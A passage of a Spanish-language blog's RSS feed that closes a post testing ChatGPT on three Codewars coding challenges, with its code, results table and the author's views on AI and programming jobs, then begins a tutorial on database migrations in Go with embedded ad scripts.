height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Encuentra un número palíndromo con ChatGPT&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;analisis-de-la-respuesta-1&#34;&gt;Análisis de la respuesta&lt;/h3&gt;&#xA;&lt;p&gt;Tras ejecutar el código me sorprendí al darme cuenta de que, tras un pequeño ajuste, ¡el resultado es correcto!&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/palindrome-codewars.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/palindrome-codewars.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Resultado de la prueba palindrome de Codewars con ChatGPT&#34; width=&#34;1920&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Resultado de la prueba palindrome de Codewars con ChatGPT&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Además de producir código sintácticamente correcto, el código generado funciona perfectamente, incluso contiene comentarios.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Este código fue generado por OpenAI-ChatGPT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; findReverseNumber(n) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;n; &lt;span style=&#34;color:#78787e&#34;&gt;// initialize a BigInt variable with the value 0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; found &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// El ajuste está aquí, n-1 en lugar de n&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;while&lt;/span&gt; (found &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; n&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; (isPalindrome(i)) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      found&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; i;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; isPalindrome(num) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; str &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; num.toString();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; str.length &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; (str[i] &lt;span style=&#34;color:#ff6ac1&#34;&gt;!==&lt;/span&gt; str[str.length &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;]) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sin embargo, hay un pequeño error, a pesar de producir los resultados de manera correcta, el código no pasa las pruebas por que el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/la-notacion-big-para-analisis-algoritmico/&#34;&gt;rendimiento de Big O&lt;/a&gt;&#xA; de la inteligencia artificial es insuficiente para la prueba.&lt;/p&gt;&#xA;&lt;p&gt;Intenté obtener la respuesta correcta múltiples veces, incluso especificando la complejidad de Big O con diferentes inputs, pero fue imposible obtener el resultado correcto.&lt;/p&gt;&#xA;&lt;h2 id=&#34;chatgpt-vs-regular-expression-for-binary-numbers-divisible-by-n-1-kyu&#34;&gt;ChatGPT vs Regular Expression for Binary Numbers Divisible by n (1 kyu)&lt;/h2&gt;&#xA;&lt;p&gt;El desafio de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/5993c1d917bc97d05d000068&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Regular Expression for Binary Numbers Divisible by n&lt;/a&gt;&#xA; es: Create a function that will return a regular expression string that is capable of evaluating binary strings (which consist of only 1s and 0s) and determining whether the given string represents a number divisible by n.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/binary-division-ChatGPT.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/binary-division-ChatGPT.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Prueba división de números binarios con ChatGpt&#34; width=&#34;1920&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Prueba división de números binarios con ChatGpt&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Tras solicitarle una respuesta nos devuelve una expresión bastante simple e incluso nos da una explicación paso a paso del razonamiento lógico, en apariencia correcto pero, en la práctica, incorrecto.&lt;/p&gt;&#xA;&lt;p&gt;La expresión regular que nos devuelve como respuesta es la siguiente:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Este código fue generado por OpenAI-ChatGPT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;^&lt;/span&gt;[&lt;span style=&#34;color:#ff9f43&#34;&gt;01&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;\&lt;/span&gt;b(&lt;span style=&#34;color:#ff6ac1&#34;&gt;?:&lt;/span&gt;$){n}$&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;analisis-de-la-respuesta-2&#34;&gt;Análisis de la respuesta&lt;/h3&gt;&#xA;&lt;p&gt;Cuando la ponemos a prueba en las pruebas de codewars, falla, obviamente&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/binary-division-codewars.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/binary-division-codewars.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Se añade un par extra de llaves para cumplir con la sintaxis de los F strings de Python. Los falsos positivos se deben al caracter binario de las respuesta&#34; width=&#34;1920&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Se añade un par extra de llaves para cumplir con la sintaxis de los F strings de Python. Los falsos positivos se deben al caracter binario de las respuesta&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;resultados-y-mi-opinion&#34;&gt;Resultados y mi opinión&lt;/h2&gt;&#xA;&lt;p&gt;Los resultados se resumen en la siguiente tabla:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Kata&lt;/th&gt;&#xA;          &lt;th&gt;Resultado&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;6 kyu&lt;/td&gt;&#xA;          &lt;td&gt;❌&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;4 kyu&lt;/td&gt;&#xA;          &lt;td&gt;✅&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1 kyu&lt;/td&gt;&#xA;          &lt;td&gt;❌&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Si bien ChatGPT acertó solo uno de los desafios (y a medias) es capaz de resolver problemas sencillos, que también podrían resolverse con una búsqueda en google o stackoverflow, esta inteligencia artificial es capaz de devolver un código que funciona, más no necesariamente correcto, ni eficiente, pero se acerca.&lt;/p&gt;&#xA;&lt;p&gt;ChatGPT se vuelve bastante ineficiente con peticiones que requieren de un razonamiento más complejo y parece incapaz de construir un sistema complejo, con muchas partes que interaccionan entre sí, sin embargo reconozco que, ante cada pregunta, es capaz de devolver una respuesta sintácticamente correcta y de apariencia lógica, al menos a simple vista, dándonos una falsa sensación de seguridad si desconocemos el tema del que estamos preguntándole. Sin embargo sus respuesta sí que pueden servir de punto de partida.&lt;/p&gt;&#xA;&lt;h3 id=&#34;es-chatgpt-una-amenaza-para-los-programadores&#34;&gt;¿Es ChatGPT una amenaza para los programadores?&lt;/h3&gt;&#xA;&lt;p&gt;¿Creo que ChatGPT representa va a poner en aprietos muchos trabajos? Sí, va a poner en dificultades a la mayoría de los trabajos (no necesariamente aquellos relacionados con código) no desafiantes y cuya dificultad radique en una sencilla búsqueda de google, o tareas automatizables, que requieran razonamientos simples. Sin embargo, considero que no es la veracidad de sus respuestas, sino su interfaz tipo chat, y la inmediatez de sus respuestas, la que la podrían volver bastante popular.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/el-nuevo-dios-el-delirante-culto-a-la-ai-en-redes/&#34;&gt;algunos ven a la IA como un culto delirante&lt;/a&gt;&#xA; que puede traer expectativas irreales que no corresponden con sus capcidades, así como la falsa ilusión de su cercanía con la AI, lo que puede complicar las cosas para el lado de los empleados, definitivamente hay un&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt; hype por la AI&lt;/a&gt;&#xA; que no se corresponde con la realidad.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;ChatGPT está rompiendo con todo lo conocido anteriormente en inteligencia artificial, algunos desarrolladores están preocupados de que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/devin-ai-el-supuesto-reemplazo-de-los-programadores/&#34;&gt;una Inteligencia Artificial pueda reemplazarlos en sus trabajos&lt;/a&gt;&#xA;, justo como amenazó Github Copilot en su momento. En esta entrada pongo a prueba la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/&#34;&gt;supuesta inteligencia de ChatGPT&lt;/a&gt;&#xA; contra tres desafios de codewars.&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-funciona-codewars&#34;&gt;¿Cómo funciona Codewars?&lt;/h2&gt;&#xA;&lt;p&gt;Antes de empezar necesitas entender que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Codewars&lt;/a&gt;&#xA; es una red social de programadores en la que se comparten desafios de código escritos por los mismos usuarios. Cada desafio puede ponerse a prueba con una serie de pruebas y, si las pasa todas, el desafio se considera completado. Estos desafios tienen el nombre de katas.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Tutorial de migraciones en Go con migrate</title>
      <link>https://coffeebytes.dev/es/go/tutorial-de-migraciones-en-go-con-migrate/</link>
      <pubDate>Fri, 25 Nov 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/tutorial-de-migraciones-en-go-con-migrate/</guid>
      
      <category>go</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En frameworks como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/#su-orm-es-sencillo-y-maravilloso&#34;&gt;Django, las migraciones se crean automáticamente&lt;/a&gt;&#xA;, a partir de los modelos. Sin embargo en lenguajes como go, siempre y cuando no estemos usando un ORM, las migraciones se realizarán de manera manual.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;que-es-una-migracion-de-una-base-de-datos&#34;&gt;¿Qué es una migración de una base de datos?&lt;/h2&gt;&#xA;&lt;p&gt;Una migración es una abstracción para manejar el estado y los cambios que ocurren en una base de datos. En lugar de ejecutar las sentencias SQL una por una de manera manual, automatizamos el proceso escribiendo todo el SQL necesario y corriéndolo de manera automática.&lt;/p&gt;&#xA;&lt;p&gt;Una migración consiste en dos archivos con instrucciones SQL:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;archivo up: Para realizar cambios en la base de datos&lt;/li&gt;&#xA;&lt;li&gt;archivo down: Para revertir cambios en la base de datos&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;},{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Para este caso se llaman up y down, pero podrías ponerle cualquier otros nombres; como forward y backward, o adelante y atrás.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/images/migrations.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/images/migrations.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Archivos de migración generados de manera manual&#34; width=&#34;1200&#34; height=&#34;700&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Archivos de migración generados de manera manual&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;las-migraciones-son-complementarias&#34;&gt;Las migraciones son complementarias&lt;/h3&gt;&#xA;&lt;p&gt;Observa como las migraciones son reversibles y complementarias; una realiza una acción y la otra la elimina.&lt;/p&gt;&#xA;&lt;p&gt;Siguiendo esta lógica podemos realizar cambios en la base de datos y luego revertirlos.&lt;/p&gt;&#xA;&lt;p&gt;Estos dos archivos pueden ser generados automáticamente (como en el caso de Django, a partir de los modelos) o podemos escribirlos nosotros directamente en SQL, como en el caso de go.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    